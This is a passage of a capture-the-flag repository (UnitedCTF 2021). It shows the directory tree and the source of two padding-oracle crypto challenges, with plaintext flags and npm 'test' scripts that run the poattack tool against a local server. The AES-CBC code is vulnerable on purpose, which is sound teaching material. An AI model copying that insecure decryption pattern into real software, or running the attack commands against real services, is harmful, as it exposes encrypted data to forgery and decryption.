├── .gitignore
├── README.md
├── challenges
├── crypto
│ ├── blindpaddingoracle
│ │ ├── .dockerignore
│ │ ├── .env
│ │ ├── .gitignore
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── docker-compose.yml
│ │ ├── nodemon.json
│ │ ├── override
│ │ │ ├── oracle-caller.js
│ │ │ └── padding-oracle.js
│ │ ├── package-lock.json
│ │ ├── package.json
│ │ ├── src
│ │ │ ├── crypto.ts
│ │ │ ├── index.ts
│ │ │ └── views
│ │ │ │ └── index.ejs
│ │ └── tsconfig.json
│ ├── encodage
│ │ └── README.md
│ ├── paddingoracle
│ │ ├── .dockerignore
│ │ ├── .env
│ │ ├── .gitignore
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── docker-compose.yml
│ │ ├── nodemon.json
│ │ ├── package-lock.json
│ │ ├── package.json
│ │ ├── src
│ │ │ ├── crypto.ts
│ │ │ ├── index.ts
│ │ │ └── views
│ │ │ │ └── index.ejs
│ │ └── tsconfig.json
│ └── vaxinull
│ │ ├── .dockerignore
│ │ ├── .gitignore
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── challenges
│ │ ├── 1
│ │ │ ├── FLAG
│ │ │ └── README.md
│ │ ├── 2
│ │ │ ├── FLAG
│ │ │ └── README.md
│ │ ├── 3
│ │ │ ├── FLAG
│ │ │ └── README.md
│ │ └── 4
│ │ │ ├── FLAG
│ │ │ └── README.md
│ │ ├── docker-compose.yml
│ │ ├── package-lock.json
│ │ ├── package.json
│ │ ├── partials
│ │ ├── bootstrap.ejs
│ │ ├── head.ejs
│ │ └── nav.ejs
│ │ ├── public
│ │ └── favicon.ico
│ │ ├── src
│ │ ├── express.ts
│ │ ├── jws.ts
│ │ ├── shc.ts
│ │ └── utils.ts
│ │ ├── tsconfig.json
│ │ ├── views
│ │ ├── index.ejs
│ │ ├── qr.ejs
│ │ └── shc.ejs
│ │ └── writeups
│ │ ├── 1
│ │ └── index.ts
│ │ ├── 2
│ │ └── index.ts
│ │ ├── 3
│ │ └── index.ts
│ │ ├── 4
│ │ └── index.ts
│ │ ├── README.md
│ │ ├── utils.ts
│ │ └── writeup.ts
├── desjardins
│ ├── FAT32 Forensics
│ │ ├── README.md
│ │ └── solve.py
│ ├── Looking for interns-Recherchons des stagiaires.md
│ └── Windows Forensics
│ │ └── README.md
├── docker-compose.yml
├── forensic
│ ├── document
│ │ ├── README.md
│ │ └── rapport-de-vulnérabilité.odt
│ └── openme
│ │ ├── .gitignore
│ │ ├── README.md
│ │ └── build.sh
├── misc
│ └── discord
│ │ └── README.md
├── programming
│ ├── battleship
│ │ ├── .dockerignore
│ │ ├── .env
│ │ ├── .gitignore
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── docker-compose.yml
│ │ ├── nodemon.json
│ │ ├── package-lock.json
│ │ ├── package.json
│ │ ├── src
│ │ │ ├── board.ts
│ │ │ ├── healthcheck.ts
│ │ │ ├── index.ts
│ │ │ ├── random.ts
│ │ │ └── solver.ts
│ │ └── tsconfig.json
│ ├── esolang
│ │ ├── .dockerfile
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── SPECIFICATION.md
│ │ ├── challenges
│ │ │ ├── 1
│ │ │ │ ├── FLAG
│ │ │ │ └── README.md
│ │ │ ├── 2
│ │ │ │ ├── FLAG
│ │ │ │ ├── README.md
│ │ │ │ └── challenge.ctf
│ │ │ ├── 3
│ │ │ │ ├── FLAG
│ │ │ │ └── README.md
│ │ │ └── FORMAT.md
│ │ ├── docker-compose.dev.yml
│ │ ├── docker-compose.yml
│ │ ├── interpreters
│ │ │ ├── js
│ │ │ │ ├── .gitignore
│ │ │ │ ├── package-lock.json
│ │ │ │ ├── package.json
│ │ │ │ ├── src
│ │ │ │ │ ├── environment.ts
│ │ │ │ │ ├── interpreter.ts
│ │ │ │ │ ├── node.ts
│ │ │ │ │ ├── operator.ts
│ │ │ │ │ ├── player.ts
│ │ │ │ │ ├── utils.ts
│ │ │ │ │ ├── webpack.ts
│ │ │ │ │ └── world.ts
│ │ │ │ ├── tsconfig.json
│ │ │ │ └── webpack.config.js
│ │ │ └── py
│ │ │ │ ├── .gitignore
│ │ │ │ ├── README.md
│ │ │ │ ├── ctf
│ │ │ │ ├── __init__.py
│ │ │ │ ├── enums.py
│ │ │ │ ├── interpreter.py
│ │ │ │ ├── operator.py
│ │ │ │ ├── player.py
│ │ │ │ └── world.py
│ │ │ │ └── ctfl.py
│ │ ├── tests
│ │ │ ├── alphabet.ctf
│ │ │ ├── delay.ctf
│ │ │ ├── generator.ctf
│ │ │ ├── hello.ctf
│ │ │ ├── input.ctf
│ │ │ ├── meta.ctf
│ │ │ └── one.ctf
│ │ ├── web
│ │ │ ├── .gitignore
│ │ │ ├── package-lock.json
│ │ │ ├── package.json
│ │ │ ├── partials
│ │ │ │ ├── base-head.ejs
│ │ │ │ ├── bootstrap.ejs
│ │ │ │ ├── footer.ejs
│ │ │ │ └── nav.ejs
│ │ │ ├── public
│ │ │ │ ├── favicon.ico
│ │ │ │ └── playground.js
│ │ │ ├── src
│ │ │ │ └── index.ts
│ │ │ ├── tsconfig.json
│ │ │ └── views
│ │ │ │ ├── challenge.ejs
│ │ │ │ ├── gallery.ejs
│ │ │ │ ├── index.ejs
│ │ │ │ └── playground.ejs
│ │ └── writeups
│ │ │ ├── 1
│ │ │ └── README.md
│ │ │ ├── 2
│ │ │ └── README.md
│ │ │ └── 3
│ │ │ └── README.md
│ ├── redos
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── chall1.md
│ │ ├── chall2.md
│ │ ├── chall3.md
│ │ ├── chall4.md
│ │ ├── docker-compose.yml
│ │ └── src
│ │ │ ├── challenge1.py
│ │ │ ├── challenge2.py
│ │ │ ├── challenge3.py
│ │ │ ├── challenge4.py
│ │ │ ├── exceptions.py
│ │ │ ├── handler.py
│ │ │ ├── launch_server.py
│ │ │ └── secrets.py
│ └── timingattack
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── src
│ │ ├── index.php
│ │ ├── styles.css
│ │ └── user.php
│ │ └── writeup.py
├── pwn
│ └── simple_notes
│ │ ├── Dockerfile
│ │ ├── Makefile
│ │ ├── README.md
│ │ ├── flag.txt
│ │ ├── simple_notes
│ │ ├── simple_notes.c
│ │ ├── simple_notes.conf
│ │ └── sol.py
├── reverse
│ ├── bootme
│ │ ├── .gitignore
│ │ ├── Makefile
│ │ ├── README.md
│ │ └── boot.asm
│ ├── character_customization
│ │ ├── .gitignore
│ │ ├── README.md
│ │ ├── attachments
│ │ │ ├── Pasted image 20210909140915.png
│ │ │ ├── Pasted image 20210909200733.png
│ │ │ └── Pasted image 20210909201022.png
│ │ ├── private
│ │ │ ├── .dockerignore
│ │ │ ├── Dockerfile
│ │ │ ├── character_customization
│ │ │ ├── docker-compose.yml
│ │ │ ├── flag.txt
│ │ │ └── server.py
│ │ ├── public
│ │ │ └── character_customization
│ │ └── src
│ │ │ ├── CMakeLists.txt
│ │ │ ├── Menu.cpp
│ │ │ ├── Menu.h
│ │ │ └── main.cpp
│ ├── codedump
│ │ ├── Readme.md
│ │ ├── Writeup.md
│ │ ├── binaries
│ │ │ ├── codedump.bin
│ │ │ └── win_shellcode.bin
│ │ ├── screenshots
│ │ │ ├── 0.png
│ │ │ ├── 1.png
│ │ │ ├── 2.png
│ │ │ ├── 3.png
│ │ │ ├── 4.png
│ │ │ ├── 5.png
│ │ │ └── 6.png
│ │ └── src
│ │ │ ├── decoder.asm
│ │ │ └── win_shellcode.asm
│ ├── exports
│ │ ├── README.md
│ │ ├── main.cpp
│ │ ├── makefile
│ │ └── program
│ ├── raycaster
│ │ ├── README.md
│ │ ├── main.go
│ │ └── main.zip
│ ├── reverseme
│ │ ├── .gitignore
│ │ ├── Makefile
│ │ ├── README.md
│ │ ├── boot.asm
│ │ └── print.asm
│ ├── stringstrings
│ │ ├── README.md
│ │ ├── main.go
│ │ ├── makefile
│ │ └── stringsstrings
│ └── tangled
│ │ ├── .gitignore
│ │ ├── Makefile
│ │ ├── README.md
│ │ ├── boot.asm
│ │ ├── chars.asm
│ │ ├── disk.asm
│ │ ├── flag.asm
│ │ ├── font.asm
│ │ ├── print.asm
│ │ ├── system.asm
│ │ └── tools
│ │ ├── scramble_end.py
│ │ └── shuffle_chars.py
├── sqli
│ ├── sqli1
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── src
│ │ │ ├── index.php
│ │ │ └── styles.css
│ ├── sqli2
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── src
│ │ │ ├── index.php
│ │ │ └── styles.css
│ ├── sqli3
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── src
│ │ │ ├── index.php
│ │ │ └── styles.css
│ ├── sqli4
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── src
│ │ │ ├── index.php
│ │ │ └── styles.css
│ ├── sqli5
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── src
│ │ │ ├── index.php
│ │ │ └── styles.css
│ ├── sqli6
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── src
│ │ │ ├── index.php
│ │ │ └── styles.css
│ ├── sqli7
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── src
│ │ │ ├── index.php
│ │ │ └── styles.css
│ ├── sqli8
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── src
│ │ │ ├── index.php
│ │ │ └── styles.css
│ └── sqli9
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ └── src
│ │ ├── index.php
│ │ └── styles.css
├── steg
│ ├── 26 shades of red
│ │ ├── README.md
│ │ └── file.png
│ ├── lostandfound
│ │ ├── .gitignore
│ │ ├── README.md
│ │ ├── flags
│ │ │ ├── final
│ │ │ │ └── .gitkeep
│ │ │ └── original
│ │ │ │ ├── flag1.png
│ │ │ │ ├── flag2.png
│ │ │ │ ├── flag3.png
│ │ │ │ ├── flag4.png
│ │ │ │ └── flag5.png
│ │ ├── package-lock.json
│ │ ├── package.json
│ │ ├── src
│ │ │ ├── flag1.ts
│ │ │ ├── flag2.ts
│ │ │ ├── flag3.ts
│ │ │ ├── flag4.ts
│ │ │ └── flag5.ts
│ │ └── tsconfig.json
│ ├── nagware
│ │ ├── README.md
│ │ └── logo.jpg
│ ├── rqbp-ed
│ │ ├── README.md
│ │ └── file.txt
│ └── spectacles
│ │ ├── README.md
│ │ └── file.wav
└── web
│ ├── api1_nosqli
│ ├── .dockerignore
│ ├── .gitignore
│ ├── Dockerfile
│ ├── README.md
│ ├── app.js
│ ├── docker-compose.yml
│ ├── package.json
│ └── solve.py
│ ├── api2_packagevulnerability
│ ├── .dockerignore
│ ├── .gitignore
│ ├── Dockerfile
│ ├── README.md
│ ├── app.js
│ ├── docker-compose.yml
│ ├── flag.txt
│ ├── package.json
│ └── users.model.js
│ ├── cookies
│ ├── Dockerfile
│ ├── README.md
│ └── src
│ │ ├── index.php
│ │ ├── styles.css
│ │ └── user.php
│ ├── hackertools
│ ├── .dockerignore
│ ├── .gitignore
│ ├── Dockerfile
│ ├── README.md
│ ├── challenges
│ │ ├── 1
│ │ │ ├── FLAG
│ │ │ └── README.md
│ │ ├── 2
│ │ │ ├── FLAG
│ │ │ └── README.md
│ │ ├── 3
│ │ │ ├── FLAG
│ │ │ └── README.md
│ │ └── 4
│ │ │ ├── FLAG
│ │ │ └── README.md
│ ├── docker-compose.dev.yml
│ ├── docker-compose.yml
│ ├── scripts
│ │ ├── lua.sh
│ │ ├── php.sh
│ │ └── ruby.sh
│ ├── web
│ │ ├── package.json
│ │ ├── partials
│ │ │ ├── appnav.ejs
│ │ │ ├── bootstrap.ejs
│ │ │ └── head.ejs
│ │ ├── public
│ │ │ ├── favicon.ico
│ │ │ └── k1dd13.gif
│ │ ├── src
│ │ │ ├── brainfuck.ts
│ │ │ └── index.ts
│ │ ├── tsconfig.json
│ │ └── views
│ │ │ ├── app.ejs
│ │ │ ├── index.ejs
│ │ │ ├── login.ejs
│ │ │ ├── tool.ejs
│ │ │ └── tools.ejs
│ └── writeups
│ │ ├── 2
│ │ └── solve.py
│ │ ├── 3
│ │ └── solve.py
│ │ └── README.md
│ ├── pastagen
│ ├── Dockerfile
│ ├── README.md
│ ├── docker-compose.yml
│ └── src
│ │ ├── index.php
│ │ ├── pastas
│ │ ├── chungus.txt
│ │ ├── dog.txt
│ │ ├── doge.txt
│ │ ├── elephant.txt
│ │ ├── feelsbadman.txt
│ │ ├── gnome.txt
│ │ ├── pikachu.txt
│ │ ├── seagull.txt
│ │ ├── shrek.txt
│ │ ├── skeleton.txt
│ │ ├── spider.txt
│ │ ├── thinking.txt
│ │ ├── toucan.txt
│ │ ├── trollface.txt
│ │ └── yee.txt
│ │ └── wowe.png
│ ├── plusbassoumissionnaire
│ ├── Dockerfile
│ ├── README.md
│ └── src
│ │ ├── backups_rpy4qplxikzb3lld46m2v9prw5mm91cqwgkcvw
│ │ ├── .htaccess
│ │ ├── courriel d'audit.pdf
│ │ └── users.db
│ │ ├── index.php
│ │ ├── logo.jpg
│ │ └── robots.txt
│ ├── storengo
│ ├── .dockerignore
│ ├── .gitignore
│ ├── Dockerfile
│ ├── README.md
│ ├── docker-compose.yml
│ ├── entrypoint.sh
│ ├── package-lock.json
│ ├── package.json
│ ├── src
│ │ ├── ftp.ts
│ │ ├── http.ts
│ │ ├── static
│ │ │ ├── favicon.png
│ │ │ ├── index.html
│ │ │ ├── style.css
│ │ │ └── upload.html
│ │ ├── userdata
│ │ │ └── .gitkeep
│ │ └── utils
│ │ │ ├── crypto.ts
│ │ │ └── redis.ts
│ └── tsconfig.json
│ ├── upload1
│ ├── Dockerfile
│ ├── README.md
│ └── src
│ │ ├── .htaccess
│ │ ├── index.php
│ │ └── logo.png
│ ├── upload2
│ ├── Dockerfile
│ ├── README.md
│ └── src
│ │ ├── .htaccess
│ │ ├── index.php
│ │ └── logo.png
│ ├── upload3
│ ├── Dockerfile
│ ├── README.md
│ └── src
│ │ ├── .htaccess
│ │ ├── index.php
│ │ └── logo.png
│ ├── upload4
│ ├── Dockerfile
│ ├── README.md
│ └── src
│ │ ├── .htaccess
│ │ ├── index.php
│ │ └── logo.png
│ ├── wasm
│ ├── .dockerignore
│ ├── .gitignore
│ ├── Dockerfile
│ ├── README.md
│ ├── WRITEUP.md
│ ├── challenge
│ │ ├── FLAG
│ │ └── KEY
│ ├── docker-compose.dev.yml
│ ├── docker-compose.yml
│ ├── wasm
│ │ └── challenge.wat
│ └── web
│ │ ├── app.py
│ │ ├── public
│ │ ├── favicon.ico
│ │ ├── search.gif
│ │ ├── too_slow.gif
│ │ └── wasm.js
│ │ ├── requirements.txt
│ │ └── templates
│ │ └── index.html
│ └── wasm2
│ ├── .dockerignore
│ ├── .gitignore
│ ├── Dockerfile
│ ├── README.md
│ ├── WRITEUP.md
│ ├── challenge
│ └── FLAG
│ ├── ctfd
│ └── base.wat
│ ├── docker-compose.dev.yml
│ ├── docker-compose.yml
│ ├── package-lock.json
│ ├── package.json
│ ├── public
│ ├── fail.gif
│ ├── favicon.ico
│ ├── success.gif
│ └── upload.gif
│ ├── src
│ └── index.ts
│ ├── tsconfig.json
│ ├── views
│ └── index.ejs
│ └── writeup
│ ├── solution.wat
│ ├── studio.c
│ └── studio.wat
└── logo.png
/.gitignore:
--------------------------------------------------------------------------------
1 | **/node_modules
2 | *.orig
3 | .DS_Store
4 | .idea
5 | *.pyc
6 | .vscode
7 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 | # UnitedCTF 2021
4 |
5 | - Flag format: `/FLAG-.*/`
6 | - Language:
7 | - Description: french
8 | - Challenge: french or english
9 |
--------------------------------------------------------------------------------
/challenges/crypto/blindpaddingoracle/.dockerignore:
--------------------------------------------------------------------------------
1 | /Dockerfile
2 | /docker-compose*
3 |
4 | /node_modules
5 | /out
--------------------------------------------------------------------------------
/challenges/crypto/blindpaddingoracle/.env:
--------------------------------------------------------------------------------
1 | PORT=5000
2 | SLEEP_TIME=1000
3 | FLAG=FLAG-SHOULD_HAVE_USED_ENC_THEN_MAC_INSTEAD
--------------------------------------------------------------------------------
/challenges/crypto/blindpaddingoracle/.gitignore:
--------------------------------------------------------------------------------
1 | /node_modules
2 | /out
--------------------------------------------------------------------------------
/challenges/crypto/blindpaddingoracle/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:fermium-alpine AS build
2 |
3 | RUN mkdir /app
4 | WORKDIR /app
5 |
6 | COPY ./*.json /app/
7 | RUN npm install
8 |
9 | COPY ./src /app/src
10 | RUN npm run build
11 |
12 | FROM node:fermium-alpine
13 |
14 | RUN mkdir /app
15 | WORKDIR /app
16 |
17 | ENV NODE_ENV production
18 |
19 | COPY --from=build /app/package* /app/
20 | COPY --from=build /app/node_modules /app/node_modules
21 |
22 | COPY --from=build /app/out /app
23 |
24 | RUN npm prune
25 |
26 | EXPOSE 5000
27 | USER node
28 | CMD [ "npm", "run", "start:docker" ]
29 |
--------------------------------------------------------------------------------
/challenges/crypto/blindpaddingoracle/README.md:
--------------------------------------------------------------------------------
1 | # Blind padding oracle
2 | > Crypto
3 | Author: @KptCheeseWhiz
4 |
5 | ## Challenge
6 |
7 | Great job! But now it seems there are a few security hardening methods that have been implemented.. Can you still generate a ciphertext with the plaintext FLAG in it?
8 |
9 | ## Resources
10 |
11 | - https://en.wikipedia.org/wiki/Padding_oracle_attack
12 |
13 | ## Setup
14 |
15 | ### Requirements
16 | - docker
17 | - docker-compose
18 |
19 | ### How to run
20 | - Execute the command `docker-compose up`
--------------------------------------------------------------------------------
/challenges/crypto/blindpaddingoracle/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.0"
2 |
3 | services:
4 | app:
5 | build:
6 | context: "."
7 | restart: "unless-stopped"
8 | environment:
9 | - NODE_ENV=production
10 | - PORT=5000
11 |
12 | - SLEEP_TIME=0
13 | - FLAG=FLAG-SHOULD_HAVE_USED_ENC_THEN_MAC_INSTEAD
14 | ports:
15 | - 11112:5000
16 |
--------------------------------------------------------------------------------
/challenges/crypto/blindpaddingoracle/nodemon.json:
--------------------------------------------------------------------------------
1 | {
2 | "exec": "ts-node ./src/index.ts",
3 | "watch": ["src"],
4 | "ext": "ts,json",
5 | "ignore": ["src/**/*.spec.ts"]
6 | }
7 |
--------------------------------------------------------------------------------
/challenges/crypto/blindpaddingoracle/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "blindpaddingoracle",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "pretest": "cp override/* node_modules/padding-oracle-attacker/dist",
8 | "test": "poattack decrypt 'http://localhost:5000/decrypt?ciphertext=' \"hex:`curl -sSL http://localhost:5000/encrypt?plaintext=follow%20the%20white%20rabbit%20%F0%9F%90%87`\" 16 400 --no-cache && poattack encrypt 'http://localhost:5000/decrypt?ciphertext=' \"follow the white rabbit 🐇fe3f1a081aee4740\" 16 400 --no-cache",
9 | "dev": "nodemon --config nodemon.json",
10 | "clean": "rm -rf ./out || true",
11 | "build": "npm run clean && tsc && cp -R ./src/views ./out/views",
12 | "start": "node out/index.js",
13 | "start:docker": "node /app/index.js"
14 | },
15 | "keywords": [],
16 | "author": "",
17 | "license": "ISC",
18 | "devDependencies": {
19 | "@types/express": "^4.17.13",
20 | "@types/node": "^16.7.1",
21 | "@types/node-fetch": "^2.5.12",
22 | "nodemon": "^2.0.12",
23 | "ts-node": "^10.2.1",
24 | "typescript": "^4.3.5"
25 | },
26 | "dependencies": {
27 | "dotenv": "^10.0.0",
28 | "ejs": "^3.1.6",
29 | "express": "^4.17.1",
30 | "express-session": "^1.17.2",
31 | "node-fetch": "^2.6.1",
32 | "padding-oracle-attacker": "^0.2.4"
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/challenges/crypto/blindpaddingoracle/src/crypto.ts:
--------------------------------------------------------------------------------
1 | import crypto from "crypto";
2 |
3 | const KEY = crypto.randomBytes(16);
4 |
5 | const SLEEP_TIME = Number(process.env.SLEEP_TIME || 0);
6 | const sleep = (ms: number) => new Promise((resolve) => setTimeout(resolve, ms));
7 |
8 | const sign = (text: string) =>
9 | crypto.createHash("sha512").update(text).digest("hex").slice(0, 16);
10 |
11 | export const encrypt = async (text: string) => {
12 | const iv = crypto.randomBytes(16);
13 | const cipher = crypto.createCipheriv("aes-128-cbc", KEY, iv);
14 | return Buffer.concat([
15 | iv,
16 | cipher.update(text),
17 | cipher.update(sign(text)),
18 | cipher.final(),
19 | ]).toString("hex");
20 | };
21 |
22 | export const decrypt = async (enc: string) => {
23 | const buffer = Buffer.from(enc, "hex");
24 | const iv = buffer.slice(0, 16);
25 | const cipher = crypto.createDecipheriv("aes-128-cbc", KEY, iv);
26 | const check = Buffer.concat([
27 | cipher.update(buffer.slice(16)),
28 | cipher.final(),
29 | ]);
30 |
31 | const sig = check.slice(-16).toString("utf-8");
32 | const plaintext = check.slice(0, -16).toString("utf-8");
33 |
34 | if (sig === sign(plaintext)) return plaintext;
35 |
36 | // simulate hard work
37 | await sleep(SLEEP_TIME);
38 |
39 | throw new Error("bad check");
40 | };
41 |
--------------------------------------------------------------------------------
/challenges/crypto/blindpaddingoracle/src/index.ts:
--------------------------------------------------------------------------------
1 | import dotenv from "dotenv";
2 | dotenv.config();
3 |
4 | import express from "express";
5 |
6 | import { decrypt, encrypt } from "./crypto";
7 |
8 | const app = express();
9 |
10 | app.set("view engine", "ejs");
11 | app.set("views", require("path").join(__dirname, "views"));
12 |
13 | app.get(
14 | "/decrypt",
15 | async (
16 | req: express.Request,
17 | res: express.Response,
18 | next: express.NextFunction
19 | ) => {
20 | try {
21 | const ciphertext = req.query.ciphertext;
22 | if (typeof ciphertext !== "string")
23 | return res.status(400).send("invalid request");
24 | const plaintext = await decrypt(ciphertext);
25 | if (plaintext.indexOf("FLAG") !== -1) return res.send(process.env.FLAG);
26 | res.send(plaintext);
27 | } catch (e) {
28 | next(e);
29 | }
30 | }
31 | );
32 |
33 | app.get(
34 | "/encrypt",
35 | async (
36 | req: express.Request,
37 | res: express.Response,
38 | next: express.NextFunction
39 | ) => {
40 | try {
41 | const plaintext = req.query.plaintext;
42 | if (typeof plaintext !== "string")
43 | return res.status(400).send("invalid request");
44 | if (plaintext.indexOf("FLAG") !== -1)
45 | return res.status(403).send("forbidden word detected");
46 | res.send(await encrypt(plaintext));
47 | } catch (e) {
48 | next(e);
49 | }
50 | }
51 | );
52 |
53 | app.get("/", (_: express.Request, res: express.Response) =>
54 | res.render("index")
55 | );
56 |
57 | app.use(function (
58 | err: Error,
59 | req: express.Request,
60 | res: express.Response,
61 | next: express.NextFunction
62 | ) {
63 | res.status(400).send("error");
64 | });
65 |
66 | app.listen(Number(process.env.PORT || 5000));
67 |
--------------------------------------------------------------------------------
/challenges/crypto/paddingoracle/.dockerignore:
--------------------------------------------------------------------------------
1 | /Dockerfile
2 | /docker-compose*
3 |
4 | /node_modules
5 | /out
--------------------------------------------------------------------------------
/challenges/crypto/paddingoracle/.env:
--------------------------------------------------------------------------------
1 | PORT=5000
2 | FLAG=FLAG-TOO_MANY_ERRORS_TOO_MANY_DETAILS
--------------------------------------------------------------------------------
/challenges/crypto/paddingoracle/.gitignore:
--------------------------------------------------------------------------------
1 | /node_modules
2 | /out
--------------------------------------------------------------------------------
/challenges/crypto/paddingoracle/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:fermium-alpine AS build
2 |
3 | RUN mkdir /app
4 | WORKDIR /app
5 |
6 | COPY ./*.json /app/
7 | RUN npm install
8 |
9 | COPY ./src /app/src
10 | RUN npm run build
11 |
12 | FROM node:fermium-alpine
13 |
14 | RUN mkdir /app
15 | WORKDIR /app
16 |
17 | ENV NODE_ENV production
18 |
19 | COPY --from=build /app/package* /app/
20 | COPY --from=build /app/node_modules /app/node_modules
21 |
22 | COPY --from=build /app/out /app
23 |
24 | RUN npm prune
25 |
26 | EXPOSE 5000
27 | USER node
28 | CMD [ "npm", "run", "start:docker" ]
29 |
--------------------------------------------------------------------------------
/challenges/crypto/paddingoracle/README.md:
--------------------------------------------------------------------------------
1 | # Padding oracle
2 | > Crypto
3 | Author: @KptCheeseWhiz
4 |
5 | ## Challenge
6 |
7 | Can you generate a ciphertext with the plaintext FLAG in it?
8 | - the whole source code is given
9 |
10 | ## Resources
11 |
12 | - https://en.wikipedia.org/wiki/Padding_oracle_attack
13 |
14 | ## Setup
15 |
16 | ### Requirements
17 | - docker
18 | - docker-compose
19 |
20 | ### How to run
21 | - Execute the command `docker-compose up`
--------------------------------------------------------------------------------
/challenges/crypto/paddingoracle/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.0"
2 |
3 | services:
4 | app:
5 | build:
6 | context: "."
7 | restart: "unless-stopped"
8 | environment:
9 | - NODE_ENV=production
10 | - PORT=5000
11 |
12 | - FLAG=FLAG-TOO_MANY_ERRORS_TOO_MANY_DETAILS
13 | ports:
14 | - 11111:5000
15 |
--------------------------------------------------------------------------------
/challenges/crypto/paddingoracle/nodemon.json:
--------------------------------------------------------------------------------
1 | {
2 | "exec": "ts-node ./src/index.ts",
3 | "watch": ["src"],
4 | "ext": "ts,json",
5 | "ignore": ["src/**/*.spec.ts"]
6 | }
7 |
--------------------------------------------------------------------------------
/challenges/crypto/paddingoracle/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "paddingoracle",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "poattack decrypt 'http://localhost:5000/decrypt?ciphertext=' \"hex:`curl -sSL http://localhost:5000/encrypt?plaintext=follow%20the%20white%20rabbit%20%F0%9F%90%87`\" 16 400 --no-cache && poattack encrypt 'http://localhost:5000/decrypt?ciphertext=' \"follow the white rabbit 🐇\" 16 400 --no-cache",
8 | "dev": "nodemon --config nodemon.json",
9 | "clean": "rm -rf ./out || true",
10 | "build": "npm run clean && tsc && cp -R ./src/views ./out/views",
11 | "start": "node out/index.js",
12 | "start:docker": "node /app/index.js"
13 | },
14 | "keywords": [],
15 | "author": "",
16 | "license": "ISC",
17 | "devDependencies": {
18 | "@types/express": "^4.17.13",
19 | "@types/node": "^16.7.1",
20 | "nodemon": "^2.0.12",
21 | "ts-node": "^10.2.1",
22 | "typescript": "^4.3.5"
23 | },
24 | "dependencies": {
25 | "dotenv": "^10.0.0",
26 | "ejs": "^3.1.6",
27 | "express": "^4.17.1",
28 | "express-session": "^1.17.2",
29 | "padding-oracle-attacker": "^0.2.4"
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/challenges/crypto/paddingoracle/src/crypto.ts:
--------------------------------------------------------------------------------
1 | import crypto from "crypto";
2 |
3 | const KEY = crypto.randomBytes(16);
4 |
5 | export const encrypt = (text: string) => {
6 | const iv = crypto.randomBytes(16);
7 | const cipher = crypto.createCipheriv("aes-128-cbc", KEY, iv);
8 | return Buffer.concat([iv, cipher.update(text), cipher.final()]).toString(
9 | "hex"
10 | );
11 | };
12 |
13 | export const decrypt = (enc: string) => {
14 | const buffer = Buffer.from(enc, "hex");
15 | const iv = buffer.slice(0, 16);
16 | const cipher = crypto.createDecipheriv("aes-128-cbc", KEY, iv);
17 | return Buffer.concat([
18 | cipher.update(buffer.slice(16)),
19 | cipher.final(),
20 | ]).toString("utf-8");
21 | };
22 |
--------------------------------------------------------------------------------
/challenges/crypto/paddingoracle/src/index.ts:
--------------------------------------------------------------------------------
1 | import dotenv from "dotenv";
2 | dotenv.config();
3 |
4 | import express from "express";
5 |
6 | import { decrypt, encrypt } from "./crypto";
7 |
8 | const app = express();
9 |
10 | app.set("view engine", "ejs");
11 | app.set("views", require("path").join(__dirname, "views"));
12 |
13 | app.get("/decrypt", (req: express.Request, res: express.Response) => {
14 | const ciphertext = req.query.ciphertext;
15 | if (typeof ciphertext !== "string")
16 | return res.status(400).send("invalid request");
17 | const plaintext = decrypt(ciphertext);
18 | if (plaintext.indexOf("FLAG") !== -1) return res.send(process.env.FLAG);
19 | res.send(plaintext);
20 | });
21 |
22 | app.get("/encrypt", (req: express.Request, res: express.Response) => {
23 | const plaintext = req.query.plaintext;
24 | if (typeof plaintext !== "string")
25 | return res.status(400).send("invalid request");
26 | if (plaintext.indexOf("FLAG") !== -1)
27 | return res.status(403).send("forbidden word detected");
28 | res.send(encrypt(plaintext));
29 | });
30 |
31 | app.get("/", (_: express.Request, res: express.Response) =>
32 | res.render("index")
33 | );
34 |
35 | app.use(function (
36 | err: Error,
37 | req: express.Request,
38 | res: express.Response,
39 | next: express.NextFunction
40 | ) {
41 | res.status(400).send(err.message);
42 | });
43 |
44 | app.listen(Number(process.env.PORT || 5000));
45 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/.dockerignore:
--------------------------------------------------------------------------------
1 | node_modules
2 | Dockerfile
3 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules/
2 | .env*
3 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:14
2 |
3 | WORKDIR /app
4 |
5 | COPY ./package*.json ./
6 |
7 | RUN npm install
8 |
9 | COPY . .
10 |
11 | CMD ["npm", "start"]
12 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/README.md:
--------------------------------------------------------------------------------
1 | # VaxiNull
2 |
3 | > Crypto
4 |
5 | Author: @alexandre-lavoie
6 |
7 | ## Overview
8 |
9 | VaxiNull is a Montreal, QC based startup that aims to improve the QC vaccination verification process. They draw close inspiration to the current QC vaccination passport standard. They claim their solution is unbreakable and offer samples: maybe you can break them?
10 |
11 | ## Challenges
12 |
